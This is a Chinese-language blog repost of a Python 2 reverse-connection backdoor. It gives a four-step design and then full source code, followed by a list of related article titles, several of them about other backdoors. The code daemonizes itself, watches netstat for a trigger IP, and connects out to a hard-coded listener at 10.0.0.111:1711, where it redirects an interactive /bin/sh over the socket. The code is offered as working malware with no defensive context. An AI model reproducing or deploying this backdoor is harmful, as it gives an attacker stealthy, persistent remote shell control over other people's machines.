python 反向连接后门
来源:互联网 发布:淘宝商城女装新款夏装连衣裙 编辑:程序博客网 时间:2024/05/22 03:53
1)首先daemon化2)然后用 netstat命令,检测是否指定的IP(192.168.1.111)连接上,有,则激活无,则睡眠几分钟(这个时间可根据需要自行调节)3)激活后,开一个子进程,创建socket,与运行了监听程序的IP进行连接,并执行一个shell,将该shell的输入输出重定向到socket.4)父进程则等待 shell子进程的执行,如果执行完毕,就继续 检测周而复始…
#!/usr/bin/python import os import sys import socket import time def daemon (): try: pid = os.fork() if pid > 0: sys.exit(0) except OSError, e: print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror) sys.exit(1) os.chdir("/") os.setsid() os.umask(0) try: pid = os.fork() if pid > 0: print "Daemon PID %d" % pid sys.exit(0) except OSError, e: print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) sys.exit(1) def shell (host = '10.0.0.111', port = 1711): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host, port)) f = s.fileno() os.dup2(f, 0) os.dup2(f, 1) os.dup2(f, 2) os.execl("/bin/sh", "sh", "-i") except socket.error, (errno, errstr): print "connect error%d\n" % os.getpid() time.sleep(10) sys.exit(127) if __name__ == "__main__": daemon() while(True): (cin, cout) = os.popen4("netstat -nt | grep 192.168.1.111") str = cout.read() try: os.wait() except OSError, e: pass if str != '': print str try: pid = os.fork() if pid > 0: print 'parent wait:%d\n' % os.getpid() try: os.wait() except OSError, e: pass else: print 'ready to connect:%d\n' % os.getpid() shell() except OSError, e: sys.exit(1) else: print "start sleep 5 mins:%d\n" % os.getpid() time.sleep(10)
- python 反向连接后门
- vc++反向连接后门
- 反向连接后门源码
- vc++反向连接后门
- 反向连接后门的使用
- python编写ttyshell的反向链接后门
- 黑客编程技术--反向后门连接的实现
- Python-基于socket实现的反向shell攻击后门
- 【技术分享】利用 Python 打造反向 TCP 后门
- Python后门
- 1k(程序体积1kb) 反向连接,零管道后门
- 1k(程序体积1kb) 反向连接,零管道后门(转)
- 基于visual c++之windows核心编程代码分析(41)实现反向连接后门
- python 写的一个反向连接的shell
- [原]使用python建立后门
- Python入门:python自制后门程序
- 后门
- 后门
- getchar()getch()scanf()EOF—学习总结
- windowsxp点击关机按钮后很长时间才弹出对话框
- C#中in,out,ref的作用
- 网络编程
- 笔记本电脑上安装 Debian
- python 反向连接后门
- 名词解释:JNDI、JMS、JDBC、EJB、ORM、LDAP(待)
- 对于vs2008下MFC的编译或者说vc6到vs2008的移植性问题
- 多线程程序(待)
- 解决MSSQL 2008不能用IP登录的问题 和 打开可以用SA登录SQL2008的方法
- awakeFromNib
- (复习笔记之JAVA)接口、抽象类
- 1002 A + B Problem II
- 学习心得(泛型、算法及其他)